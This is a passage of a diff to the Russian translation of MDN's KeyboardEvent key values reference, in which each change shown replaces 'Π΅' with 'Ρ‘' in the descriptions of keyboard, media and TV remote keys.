- <td>Клавиша Π³ΠΈΠ±Π΅Ρ€Π½Π°Ρ†ΠΈΠΈ <kbd>Hibernate</kbd>. БостояниС ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π° сохраняСтся Π½Π° дискС, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ; ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π΅ состояниС ΠΏΡƒΡ‚Π΅ΠΌ восстановлСния сохранСнной ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ состоянии.</td>
+ <td>Клавиша Π³ΠΈΠ±Π΅Ρ€Π½Π°Ρ†ΠΈΠΈ <kbd>Hibernate</kbd>. БостояниС ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π° сохраняСтся Π½Π° дискС, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ; ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π΅ состояниС ΠΏΡƒΡ‚Ρ‘ΠΌ восстановлСния сохранённой ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ состоянии.</td>
<td></td>
<td></td>
<td><code>GDK_KEY_Hibernate</code> (0x1008FFA8)<br>
@@ -824,9 +824,9 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
<h2 id="IME_ΠΈ_клавиши_ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ">IME ΠΈ клавиши ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ</h2>
-<p>Клавиши, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ ΠΏΡ€ΠΈ использовании Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π²Π²ΠΎΠ΄Π° (<a href="https://ru.wikipedia.org/wiki/IME">IME</a>) для Π²Π²ΠΎΠ΄Π° тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π»Π΅Π³ΠΊΠΎ Π²Π²Π΅Π΄Π΅Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ простых Π½Π°ΠΆΠ°Ρ‚ΠΈΠΉ клавиш, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ тСкста Π½Π° языках, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ большС Π³Ρ€Π°Ρ„Π΅ΠΌ, Ρ‡Π΅ΠΌ клавиш Π²Π²ΠΎΠ΄Π° символов Π½Π° ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π΅. ΠžΠ±Ρ‰ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ китайский, японский, корСйский ΠΈ Ρ…ΠΈΠ½Π΄ΠΈ.</p>
+<p>Клавиши, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ ΠΏΡ€ΠΈ использовании Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π²Π²ΠΎΠ΄Π° (<a href="https://ru.wikipedia.org/wiki/IME">IME</a>) для Π²Π²ΠΎΠ΄Π° тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π»Π΅Π³ΠΊΠΎ Π²Π²Π΅Π΄Ρ‘Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ простых Π½Π°ΠΆΠ°Ρ‚ΠΈΠΉ клавиш, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ тСкста Π½Π° языках, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ большС Π³Ρ€Π°Ρ„Π΅ΠΌ, Ρ‡Π΅ΠΌ клавиш Π²Π²ΠΎΠ΄Π° символов Π½Π° ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π΅. ΠžΠ±Ρ‰ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ китайский, японский, корСйский ΠΈ Ρ…ΠΈΠ½Π΄ΠΈ.</p>
-<p>НСкоторыС клавиши ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±Ρ‰ΠΈΠΌΠΈ для Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… языков, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π°Ρ…, ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ языки. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π½Π΅ всС ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ всС эти клавиши.</p>
+<p>НСкоторыС клавиши ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±Ρ‰ΠΈΠΌΠΈ для Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… языков, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π°Ρ…, ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ языки. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π½Π΅ всС ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ всС эти клавиши.</p>
<h4 id="ΠžΠ±Ρ‹Ρ‡Π½Ρ‹Π΅_IME_клавиши">ΠžΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ IME клавиши</h4>
@@ -1013,7 +1013,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
<h3 id="Волько_корСйскиС_ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹">Волько корСйскиС ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹</h3>
-<p>Π­Ρ‚ΠΈ клавиши доступны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° корСйских ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π°Ρ…. Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ клавиши, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ для корСйских ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€, Π½ΠΎ ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнными ΠΈ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‚ΡΡ спСцификациСй событий ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса.</p>
+<p>Π­Ρ‚ΠΈ клавиши доступны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° корСйских ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π°Ρ…. Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ клавиши, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ для корСйских ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€, Π½ΠΎ ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространёнными ΠΈ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‚ΡΡ спСцификациСй событий ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса.</p>
<table class="standard-table">
<thead>
@@ -1695,7 +1695,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"Soft4"</code></td>
- <td><span class="tlid-translation translation" lang="ru"><span title="">ЧСтвСртая Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π°Ρ клавиша ΠΎΠ±Ρ‰Π΅Π³ΠΎ назначСния.</span></span></td>
+ <td><span class="tlid-translation translation" lang="ru"><span title="">ЧСтвёртая Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π°Ρ клавиша ΠΎΠ±Ρ‰Π΅Π³ΠΎ назначСния.</span></span></td>
<td></td>
<td></td>
<td><code>Qt::Key_Context4</code> (0x01100003)</td>
@@ -1881,7 +1881,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"MediaPlay"</code></td>
- <td>ЗапускаСт ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ воспроизвСдСниС ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° с Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΉ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ, Ссли Π΅Ρ‰Π΅ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ этого. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ эффСкта.</td>
+ <td>ЗапускаСт ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ воспроизвСдСниС ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° с Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΉ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ, Ссли Π΅Ρ‰Ρ‘ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ этого. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ эффСкта.</td>
<td><code>APPCOMMAND_MEDIA_PLAY</code></td>
<td></td>
<td><code>GDK_KEY_AudioPlay</code> (0x1008FF14)</td>
@@ -1916,7 +1916,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"MediaStop"</code></td>
- <td><span class="tlid-translation translation" lang="ru"><span title="">ΠžΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ ΠΌΠ΅Π΄ΠΈΠ°-Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ (Ρ‚Π°ΠΊΡƒΡŽ ΠΊΠ°ΠΊ воспроизвСдСниС, запись, ΠΏΠ°ΡƒΠ·Π°, ΠΏΠ΅Ρ€Π΅ΠΌΠΎΡ‚ΠΊΠ° Π²ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΠ»ΠΈ Π½Π°Π·Π°Π΄).</span> <span title="">НС дСйствуСт, Ссли ΠΌΠ΅Π΄ΠΈΠ°Ρ„Π°ΠΉΠ» ΡƒΠΆΠ΅ остановлСн.</span></span></td>
+ <td><span class="tlid-translation translation" lang="ru"><span title="">ΠžΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ ΠΌΠ΅Π΄ΠΈΠ°-Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ (Ρ‚Π°ΠΊΡƒΡŽ ΠΊΠ°ΠΊ воспроизвСдСниС, запись, ΠΏΠ°ΡƒΠ·Π°, ΠΏΠ΅Ρ€Π΅ΠΌΠΎΡ‚ΠΊΠ° Π²ΠΏΠ΅Ρ€Ρ‘Π΄ ΠΈΠ»ΠΈ Π½Π°Π·Π°Π΄).</span> <span title="">НС дСйствуСт, Ссли ΠΌΠ΅Π΄ΠΈΠ°Ρ„Π°ΠΉΠ» ΡƒΠΆΠ΅ остановлСн.</span></span></td>
<td><code>VK_MEDIA_STOP</code> (0xB2)<br>
<code>APPCOMMAND_MEDIA_STOP</code></td>
<td></td>
@@ -2042,7 +2042,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"AudioSurroundModeNext"</code></td>
- <td>Π’Ρ‹Π±ΠΎΡ€ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ доступного Ρ€Π΅ΠΆΠΈΠΌΠ° объСмного звучания.</td>
+ <td>Π’Ρ‹Π±ΠΎΡ€ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ доступного Ρ€Π΅ΠΆΠΈΠΌΠ° ΠΎΠ±ΡŠΡ‘ΠΌΠ½ΠΎΠ³ΠΎ звучания.</td>
<td><code>VK_SURROUND_MODE_NEXT</code></td>
<td></td>
<td></td>
@@ -2130,7 +2130,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</thead>
</table>
-<p>[1] Internet Explorer, Edge, ΠΈ Firefox (48 ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΠ΅) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ <code>"VolumeUp"</code>, <code>"VolumeDown"</code>, ΠΈ <code>"VolumeMute"</code> вмСсто <code>"AudioVolumeUp"</code>, <code>"AudioVolumeDown"</code>, ΠΈ <code>"AudioVolumeMute"</code>. Π’ Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Ρ‹ Π² соотвСтствии с послСднСй спСцификациСй.</span> <span title="">Π‘Ρ‚Π°Ρ€Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° всС Π΅Ρ‰Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² </span></span><a href="/en-US/docs/Mozilla/B2G_OS">Boot to Gecko</a>.</p>
+<p>[1] Internet Explorer, Edge, ΠΈ Firefox (48 ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΠ΅) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ <code>"VolumeUp"</code>, <code>"VolumeDown"</code>, ΠΈ <code>"VolumeMute"</code> вмСсто <code>"AudioVolumeUp"</code>, <code>"AudioVolumeDown"</code>, ΠΈ <code>"AudioVolumeMute"</code>. Π’ Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Ρ‹ Π² соотвСтствии с послСднСй спСцификациСй.</span> <span title="">Π‘Ρ‚Π°Ρ€Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° всС Π΅Ρ‰Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² </span></span><a href="/en-US/docs/Mozilla/B2G_OS">Boot to Gecko</a>.</p>
<h2 id="Клавиши_управлСния_Π’Π’"><span class="tlid-translation translation" lang="ru"><span title="">Клавиши управлСния Π’Π’</span></span></h2>
@@ -2367,7 +2367,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"TVTerrestrialAnalog"</code></td>
- <td><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ услугу Π°Π½Π°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ³ΠΎ Π½Π°Π·Π΅ΠΌΠ½ΠΎΠ³ΠΎ тСлСвидСния (Π°Π½Π°Π»ΠΎΠ³ΠΎΠ²Ρ‹ΠΉ ΠΊΠ°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ»ΠΈ Π°Π½Ρ‚Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠ΅ΠΌ).</span></span></td>
+ <td><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ услугу Π°Π½Π°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ³ΠΎ Π½Π°Π·Π΅ΠΌΠ½ΠΎΠ³ΠΎ тСлСвидСния (Π°Π½Π°Π»ΠΎΠ³ΠΎΠ²Ρ‹ΠΉ ΠΊΠ°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ»ΠΈ Π°Π½Ρ‚Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΡ‘ΠΌ).</span></span></td>
<td></td>
<td></td>
<td></td>
@@ -2375,7 +2375,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"TVTerrestrialDigital"</code></td>
- <td>Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ услугу Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠ³ΠΎ Π½Π°Π·Π΅ΠΌΠ½ΠΎΠ³ΠΎ тСлСвидСния (Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠΉ ΠΊΠ°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ»ΠΈ Π°Π½Ρ‚Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠ΅ΠΌ).</td>
+ <td>Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ услугу Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠ³ΠΎ Π½Π°Π·Π΅ΠΌΠ½ΠΎΠ³ΠΎ тСлСвидСния (Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠΉ ΠΊΠ°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ»ΠΈ Π°Π½Ρ‚Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΡ‘ΠΌ).</td>
<td></td>
<td></td>
<td></td>
@@ -2400,17 +2400,17 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ соврСмСнныС ΠΏΡƒΠ»ΡŒΡ‚Ρ‹ дистанционного управлСния для ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½Ρ‹Ρ… устройств часто Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ ΠΊΠ½ΠΎΠΏΠΊΠΈ, ΠΏΠΎΠΌΠΈΠΌΠΎ Π±Π°Π·ΠΎΠ²Ρ‹Ρ… элСмСнтов управлСния, описанных Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ мСстС Π² этом Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ значСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ для ΡˆΠΈΡ€ΠΎΠΊΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° этих Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΊΠ½ΠΎΠΏΠΎΠΊ.</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ значСния частично ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ ΠΈΠ· ряда тСхничСских характСристик Π±Ρ‹Ρ‚ΠΎΠ²ΠΎΠΉ элСктроники:</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ значСния частично ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ ΠΈΠ· ряда тСхничСских характСристик Π±Ρ‹Ρ‚ΠΎΠ²ΠΎΠΉ элСктроники:</span></span></p>
<ul>
<li><a href="http://atsc.org/standard/a100-dtv-application-software-environment-level-1-dase-1/">DTV Application Software Environment</a> (Ρ‡Π°ΡΡ‚ΡŒ спСцификации {{interwiki("wikipedia", "ATSC")}})</li>
<li><a href="http://www.cablelabs.com/specifications/OC-SP-OCAP1.1.3-100603.pdf">Open Cable Application Platform 1.1.3</a></li>
- <li><a href="http://www.ce.org/Standards/Standard-Listings/R7-Home-Network-Committee/CEA-2014-B-(ANSI%29.aspx">ANSI/CEA-2014-B</a>: Π’Π΅Π±-ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ для ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса Π² сСтях UPnP β„’ ΠΈ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅</li>
+ <li><a href="http://www.ce.org/Standards/Standard-Listings/R7-Home-Network-Committee/CEA-2014-B-(ANSI%29.aspx">ANSI/CEA-2014-B</a>: Π’Π΅Π±-ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ для ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса Π² сСтях UPnP β„’ ΠΈ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅</li>
<li><a href="http://developer.android.com/reference/android/view/KeyEvent.html">Android KeyEvent key code values</a></li>
</ul>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> <span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡƒΠ»ΡŒΡ‚ дистанционного управлСния ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ содСрТит ΠΊΠ½ΠΎΠΏΠΊΠΈ, значСния ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΡƒΠΆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π³Π΄Π΅-Ρ‚ΠΎ Π΅Ρ‰Π΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€</span></span> <em><span class="tlid-translation translation" lang="ru"><span title="">ΠœΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½Ρ‹Π΅ клавиши</span></span></em> ΠΈΠ»ΠΈ <em>Клавиши управлСния Π·Π²ΡƒΠΊΠΎΠΌ</em>. <span class="tlid-translation translation" lang="ru"><span title="">ЗначСния этих ΠΊΠ½ΠΎΠΏΠΎΠΊ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π·Π°Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ Π² этих Ρ‚Π°Π±Π»ΠΈΡ†Π°Ρ….</span></span></p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> <span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡƒΠ»ΡŒΡ‚ дистанционного управлСния ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ содСрТит ΠΊΠ½ΠΎΠΏΠΊΠΈ, значСния ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΡƒΠΆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π³Π΄Π΅-Ρ‚ΠΎ Π΅Ρ‰Ρ‘, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€</span></span> <em><span class="tlid-translation translation" lang="ru"><span title="">ΠœΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½Ρ‹Π΅ клавиши</span></span></em> ΠΈΠ»ΠΈ <em>Клавиши управлСния Π·Π²ΡƒΠΊΠΎΠΌ</em>. <span class="tlid-translation translation" lang="ru"><span title="">ЗначСния этих ΠΊΠ½ΠΎΠΏΠΎΠΊ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π·Π°Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ Π² этих Ρ‚Π°Π±Π»ΠΈΡ†Π°Ρ….</span></span></p>
</div>
<table class="standard-table">
@@ -2556,7 +2556,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"FavoriteClear3"</code></td>
- <td><span class="tlid-translation translation" lang="ru"><span title="">ΠžΡ‡ΠΈΡ‰Π°Π΅Ρ‚ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚Ρ‹ΠΉ слот списка ΠΈΠ·Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ.</span></span></td>
+ <td><span class="tlid-translation translation" lang="ru"><span title="">ΠžΡ‡ΠΈΡ‰Π°Π΅Ρ‚ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚Ρ‹ΠΉ слот списка ΠΈΠ·Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ.</span></span></td>
<td><code>VK_CLEAR_FAVORITE_3</code></td>
<td></td>
<td></td>
@@ -2588,7 +2588,7 @@ translation_of: Web/API/KeyboardEvent/key/Key_Values
</tr>
<tr>
<td><code>"FavoriteRecall3"</code></td>
